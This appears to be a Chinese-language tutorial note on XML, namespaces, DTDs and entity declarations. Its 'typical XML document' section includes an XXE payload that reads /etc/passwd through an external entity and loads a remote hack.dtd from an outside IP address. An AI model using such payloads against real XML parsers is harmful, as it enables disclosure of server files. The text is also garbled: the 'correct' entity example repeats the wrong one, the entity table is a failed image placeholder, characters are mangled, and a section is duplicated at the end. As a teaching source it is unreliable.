XML
简介
XML 即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:
- HTML 被设计用来显示数据;
- XML 被设计用来传输和存储数据;
XML 树结构
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
父、子以及同胞等术语用于描述元素之间的关系。
父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。
所有元素均可拥有文本内容和属性(类似 HTML 中)。
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
- 第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
- 第二行是文档的根元素(父元素);
- 接下来四行描述根的4个子元素(to, from, heading 以及 body);
- 最后一行定义根元素的结尾;
- 注释:
XML 语法规则
- 在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签;
- XML 标签对大小写敏感;
- 在 XML 中,所有元素都必须彼此正确地嵌套:
<b><i>This text is bold and italic</i></b>
在上例中,正确嵌套的意思是:由于 <i> 元素是在 <b> 元素内打开的,那么它必须在 <b> 元素内关闭。
- 在 XML 中,XML 的属性值须加引号;
<note date="08/08/2008">
实体引用
把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
<message>if salary < 1000 then</message> //错误
<message>if salary < 1000 then</message> //正确
用实体引用来代替 "<" 字符:
在 XML 中,有 5 个预定义的实体引用:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VWg3X9xq-1649752097614)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220412151710521.png)]
注释:在 XML 中,只有字符 “<” 和 “&” 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
元素&属性
// sex 是一个属性
<person sex="female">
<firstname>Anna</firstname>
<lastname>Smith</lastname>
</person>
// sex 是一个子元素
<person>
<sex>female</sex>
<firstname>Anna</firstname>
<lastname>Smith</lastname>
</person>
命名空间
//使用前缀来避免命名冲突
<h:table>
<h:tr>
<h:td>Apples</h:td>
<h:td>Bananas</h:td>
</h:tr>
</h:table>
<f:table>
<f:name>African Coffee Table</f:name>
<f:width>80</f:width>
<f:length>120</f:length>
</f:table>
//使用命名空间(Namespaces)
<h:table xmlns:h="http://www.w3.org/TR/html4/">
<h:tr>
<h:td>Apples</h:td>
<h:td>Bananas</h:td>
</h:tr>
</h:table>
<f:table xmlns:f="http://www.w3school.com.cn/furniture">
<f:name>African Coffee Table</f:name>
<f:width>80</f:width>
<f:length>120</f:length>
</f:table>
xmlns 属性
语法:xmlns:前缀=“URI”。
典型的XML文档
<?xml version="1.0" encoding="UTF-8" ?> <!--XML声明-->
<!DOCTYPE note [ <!--定义此文档类型为note-->
<!ENTITY a "admin"> <!--内部参数实体-->
<!ENTITY % b "<!ENTITY b1 'awsl'>"> <!--参数实体-->
%b; <!--引用参数实体-->
<!ENTITY c SYSTEM "file:///etc/passwd"> <!--外部实体-->
<!ENTITY % d SYSTEM "http://118.25.14.40:8200/hack.dtd"> <!--外部参数实体-->
%d; <!--引用外部参数实体-->
]>
<note>
&a; <!--admin-->
&b1; <!--awsl-->
&c; <!--/etc/passwd的内容-->
&hhh; <!--/etc/passwd的内容-->
</note>
<!--http://118.25.14.40:8200/hack.dtd-->
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
例子:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
- !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
- !ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
- !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
- !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
- !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
- !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
例子:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
PCDATA
PCDATA 指的是被解析的字符数据(Parsed Character Data);
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
**CDATA 是不会被解析器解析的文本。**在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
元素声明
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY> //空元素
<br /> //空元素输出
<!ELEMENT 元素名称 (#PCDATA)>
//只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明
<!ELEMENT 元素名称 ANY>
//通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合
<!ELEMENT 元素名称 (子元素名称 1)>
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
//带有一个或多个子元素的元素通过圆括号中的子元素名进行声明
<!ELEMENT 元素名称 (子元素名称+)>
//声明最少出现一次的元素
<!ELEMENT 元素名称 (子元素名称*)>
//声明出现零次或多次的元素
<!ELEMENT 元素名称 (子元素名称?)>
//声明出现零次或一次的元素
<!ELEMENT note (to,from,header,(message|body))>
//声明“非.../既...”类型的内容
//上面的例子声明了:"note" 元素必须包含 "to" 元素、"from" 元素、"header" 元素,以及非 "message" 元素既 "body" 元素。
<!ELEMENT note (#PCDATA|to|from|header|message)*>
//声明混合型的内容
//上面的例子声明了:"note" 元素可包含出现零次或多次的 PCDATA、"to"、"from"、"header" 或者 "message"。
属性
在 DTD 中,属性通过 ATTLIST 声明来进行声明。
声明属性
属性声明使用下列语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD 实例:
<!ATTLIST payment type CDATA "check">
XML 实例:
<payment type="check" />
以下是属性类型的选项:
类型 | 描述 |
---|---|
CDATA | 值为字符数据 (character data) |
(en1|en2|…) | 此值是枚举列表中的一个值 |
ID | 值为唯一的 id |
IDREF | 值为另外一个元素的 id |
IDREFS | 值为其他 id 的列表 |
NMTOKEN | 值为合法的 XML 名称 |
NMTOKENS | 值为合法的 XML 名称的列表 |
ENTITY | 值是一个实体 |
ENTITIES | 值是一个实体列表 |
NOTATION | 此值是符号的名称 |
xml: | 值是一个预定义的 XML 值 |
默认值参数可使用下列值:
值 | 解释 |
---|---|
值 | 属性的默认值 |
#REQUIRED | 属性值是必需的 |
#IMPLIED | 属性不是必需的 |
#FIXED value | 属性值是固定的 |
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
内部实体
语法:
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。
外部实体
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
hor>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。
外部实体
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>